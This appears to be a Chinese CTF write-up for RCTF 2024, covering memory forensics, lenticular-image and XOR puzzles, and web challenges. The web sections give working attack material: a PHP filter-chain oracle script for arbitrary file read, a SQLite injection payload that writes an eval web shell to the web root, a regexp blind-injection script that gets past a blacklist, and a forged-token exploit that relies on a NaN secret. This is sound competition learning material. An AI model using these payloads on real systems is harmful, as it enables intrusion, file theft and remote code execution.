当前位置:   article > 正文

2024 RCTF Web&Misc部分 WP

2024 RCTF Web&Misc部分 WP

Misc

gogogo

考点:内存取证
得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析
AXIOM 分析存在云服务 但是百度网盘要密码
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
image.png

发现访问过sqlite数据库 可以尝试提取数据库文件出来
image.png
结合 volatility 第一步先看 粘贴板
vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard
image.png
cwqs 猜测可能是百度网盘密码
image.png

得到 pwn=?.zip 但是还有密码 缺少关键信息
提取 places.sqlite数据库文件
扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"
image.png
提取sqlite文件
vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./
打开 数据库文件 发现在moz_place 发现访问网址

image.png

访问 https://space.bilibili.com/3546644702301067
image.png

提示pwd=uid uid=3546644702301067
这个是压缩包密码
打开后为 flag.zip 和键盘流量lqld.pcapng
直接 usb流量一把梭
image.png

niuo ybufmefhui kjqillxdjwmi uizebuui 
dvoo 
udpn uibuui jqybdm vegeyisi 
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi 
zvjnybufme hkwjdeggma 
na mimajqueviig 
kyllda doqisl ba 
pnynqrpn 
qrxcxxzimu 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

输入法拼音双键联想 注意na mima
注意

na mimajqueviig 那密码就设置成
kyllda doqisl ba 快来打夺旗赛吧
  • 1
  • 2

"那密码就确定为,快来打夺旗赛吧"
密码是 kuailaidaduoqisaiba
打开直接就是flag
RCTF{wo_shen_me_dou_hui_zuo_de}

sec-image

考点: 光栅图
image.png
曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本
这个工具有两个参数 -x -y

-x XCOORDINATE  自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE  自动读取图片并尝试爆破纵向光栅图
  • 1
  • 2

根据已知信息 flag RCTF{xxxxx}倒推找规律

flag0
-x R(T) C(F) 最明显的是一组的作为划分标准
-y 此时的2-1 是RC 2-2是TF	2-1对应1,2位 2-2对应3,4位
flag1:{c4b
flag2:af0e
依次类推
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

但是难免有些图片 实在是模糊不清
这个时候就用stegsolve 辅助判断
image.png

RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}

FindAHacker

内存取证 查看Desktop文件内容
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"
在这里插入图片描述

发现存在ida 逆向临时数据库
检查 进程
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist
image.png

提取 内存文件
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./
修改后缀位data用 gimp打开后
image.png

调了半天没有找到那一帧
不管了直接借用其他WP的图
image.png
不太懂逆向 xor数据后就是flag

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):
        flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image.png
RCTF{90ec9629946830c32157ac9b1ff8656f}

Web

color

做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用
当时写了个自动化找不同xpath的脚本(就是找色差)

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


driver = webdriver.Chrome()


driver.get('http://124.71.164.28:10088/')

time.sleep(60)

start_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()

i = 0

while True:
    try:
        
        i = i + 1
        boxes = WebDriverWait(driver, 10).until(
            EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))
        )

        
        found = False
        for i in range(len(boxes) - 1):
            if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):
                if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):
                    boxes[i].click()
                else:
                    boxes[i + 1].click()
                found = True
                break
        
        if not found:
            
            if len(boxes) > 1:
                boxes[-1].click()
                t2 = time.time()
                
    except Exception as e:
        print(f"An error occurred: {e}")
        time.sleep(20)
        continue

print("Done")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52

但是即使是自动化 也存在可见的延迟
当时做题时没有注意,认为是后端的延迟(但是实际是前端的)
不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反
逆了下它关键的加密逻辑 但是想简化问题

const CryptoJS = require('crypto-js');

function _0x443f31(_0x1de1a8) {
    var _0x1de1a8 = 'checkImage';
    var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";
    var _0xdc28e0 = "41cd57f2d55398e9";
    return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {
      iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
}

console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

所以直接js逆向改变其代码逻辑
游戏时间不是只有60s 吗 令他时间增加不就行了

tick: function () {
      if (this._pause) {
        return undefined;
      } else {
        this.time++;
        
        if (this.time < 6) {
          _0x4b69a3.time.addClass("danger");
        }
        if(this.time>1200){
          this.gameOver();
          return;
        }
        if (this.time < 0) {
          this.gameOver();
          return;
        } else {
          _0x4b69a3.time.text(parseInt(this.time));
          return;
        }
      }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

修改代码逻辑 使时间增加 到1200 进入gameover结算即可
image.png
时间增加成功
结合自动化的脚本
现在就等1200s秒后就可以拿提示了
拿到路由/secr3tcolor.zip 可以得到源码
dockerfile中直接提示flag 在 /flag.txt中
image.png

就是已知flag的位置 要想办法读取文件
看看 game.php

else if($action === "checkImage"){

        try {

            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);

            echo getimagesize($upload_image);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

echo+文件处理流函数
直接考虑 php filter Oracle 测信道 任意文件读取
参考:https://xz.aliyun.com/t/12939
被影响的函数包含 getimagesize
image.png
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
简单改下poc即可 改变其 req函数

def req(s):
	data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
	string_content = f"php://filter/{s}/resource=/flag.txt"
	files = {'image': string_content}
	res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)
	return 'Fatal' in res.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

注意一下原来的poc是通过 http状态码 500 判断测信道
但是实际上 只要 php 内存溢出了 就会有报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6
  • 1

可以从其中顺便找个 关键词 作为判断的标准即可
比如我这里是用 Fatal
image.png
header头就是编码方式
可以根据 自己的需求 改它的poc即可
image.png
RCTF{Color_Col0r_C0lor}

赛后看了看其他WP 既然是前端做的延迟那么直接敲掉 delay就可以了
后自动化脚本也是可以的
但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功
image.png

proxy

考点 :sqlite注入

public function execMultiSQL($arysql){

        try{

            $this->dm_handler->beginTransaction();

            foreach($arysql as $asql){

                $result=$this->dm_handler->exec($asql);

            }

            #只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库

            $this->dm_handler->commit();

            return TRUE;

        }

        catch(PDOException $exception) {

            $this->dm_handler->rollBack();

            return FALSE;

        }

    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

其实 这道就是考如何闭合sql语句 写到数据库中

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";

    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";

    #闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-

    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";

    #直接将其嵌入到 SQL 语句

    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";

    $DbObj->execMultiSQL($arysql);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个
同时闭合所有sql语句 这个思路是看样子是走不通了
查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT命令
https://www.runoob.com/sqlite/sqlite-transaction.html

COMMIT 命令

COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。

COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。

COMMIT 命令的语法如下:

COMMIT;

or

END TRANSACTION;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

居然可以无视报错直接提交COMMIT到数据库保存
结合sqlite注入写shell的文章 其中的poc一把梭就是
https://xz.aliyun.com/t/8627

');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-
  • 1

image.png
直接写shell是成功的
image.png
RCTF{ok_you_are_win_this_sql_game}

赛后看了看其他的WP 发现正解该是利用Proxy.php
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']
作为HTTP头传递
比赛时特别考虑过 但是没有内容就认为不是这个思路
image.png
但是没想到居然可以利用Proxy.php
image.png
的确可以拿到请求 以后就用nc判断了…
那么我们只需要闭合最后的sql语句即可

 VALUES('".$ProxyObj->body."')";
  • 1

其他前面的sql一定是闭合的
直接用先知的文章打payload,简单闭合就可以了

<?php

echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";

?>
  • 1
  • 2
  • 3
  • 4
  • 5

image.png
一个小问题:
如果我们访问poc.php返回

a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--
  • 1

VALUES ('');的值为空 是没有写进去吗?
本地看了一下是写进去了

image.png
RCTF{ok_you_are_win_this_sql_game}

what_is_love

存在黑名单 要进行绕过

db.query(

  "CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"

);

db.query(

  "INSERT INTO key1 (love_key) VALUES('RCTF{key1')"

  //向 key1表中插入 love_key的值
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

存在表名 key1 字段为 love_key
黑名单相当于禁用了

/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi
  • 1
 let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;

  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {

    //很显然我们不知道love_key的具体值

    if (err) {

      res.send("error");

    } else if (results.length > 0) {

      res.send("success");//布尔盲注

    } else {

      res.send("wrong");

    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

这是一道非常典型的布尔盲注
但是要注意的是 这道题将select过滤了 我们无法进行任何查询操作
但是 love_key 就是我们要求的第一段flag
完全可以直接 通过 正则匹配查询想要的数据 通过布尔盲注判断即可
flag 1 必然是RCTF开头的可以验证一下

image.png
通过正则匹配开头是 R 可以验证思路是正确的
编写脚步(注意 --+- 只能用于GET )

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:
    for i in strs:
        data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag+=i
            print(flag)
        
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

但是同时 由于源码限制 key1.length > 52
image.png
RCTF{THE_FIRST_STEP 第一段flag不完全
直接倒着匹配flag 1

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:
    for i in strs:
        #data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag=i+flag
            print(flag)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

image.png
P_IS_TO_GET_TO_KNOW
flag 1就是 RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

如果我们不按照它期望传入一个数字 而是字符串
userInfo.love_time = Number(love_time); 将返回 NAN
在此时的加密中

const createToken = (userinfo) => {

  const saltedSecret =

    parseInt(Buffer.from(secret).readBigUInt64BE()) +

    parseInt(userinfo.love_time);

  const data = JSON.stringify(userinfo);

  return (

    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)

  );

};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

直接和随机生成的secret 拼接
image.png

那么此时的
${data}:{"username":"J1rrY","love_time":null,"have_lovers":false}
${saltedSecret}:secret+NAN
尝试输出此时的 saltedSecret

const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(love_time);
console.log(saltedSecret);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

会发现始终是一个定值 NaN
image.png
这说明一个事实 只要 "love_time"为 null saltedSecret就一定是 NaN 是一个定值
已知加密逻辑直接伪造加密就是了

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}

const saltedSecret =NaN;

console.log(saltedSecret)

const data = JSON.stringify(userinfo);

console.log(data)

console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

image.png

在这里插入图片描述

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/669169
推荐阅读
相关标签
  

闽ICP备14008679号